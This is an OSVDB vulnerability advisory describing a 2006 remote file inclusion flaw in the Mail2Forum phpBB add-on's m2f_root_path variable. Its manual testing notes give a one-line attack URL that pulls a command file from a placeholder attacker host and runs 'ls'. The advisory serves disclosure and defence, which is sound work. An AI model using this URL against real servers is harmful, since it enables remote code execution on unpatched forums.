Mail2Forum for phpBB m2f_phpbb204.php m2f_root_path Variable Remote File Inclusion

2006-07-17T07:48:56
ID OSVDB:27354
Type osvdb
Reporter OLiBekaS()
Modified 2006-07-17T07:48:56

Description

Vulnerability Description

Mail2Forum for phpBB contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to m2f_phpbb204.php not properly sanitizing user input supplied to the 'm2f_root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Mail2Forum for phpBB contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to m2f_phpbb204.php not properly sanitizing user input supplied to the 'm2f_root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[forum_path]/m2f/m2f_phpbb204.php?m2f_root_path=http://[attacker]/cmd.txt?&cmd=ls

References:

Vendor URL: http://www.mail2forum.com/ Secunia Advisory ID:21083 Related OSVDB ID: 27355 Related OSVDB ID: 27356 Related OSVDB ID: 27357 Other Advisory URL: http://milw0rm.com/exploits/2019 ISS X-Force ID: 27788 FrSIRT Advisory: ADV-2006-2847 CVE-2006-3735 Bugtraq ID: 19038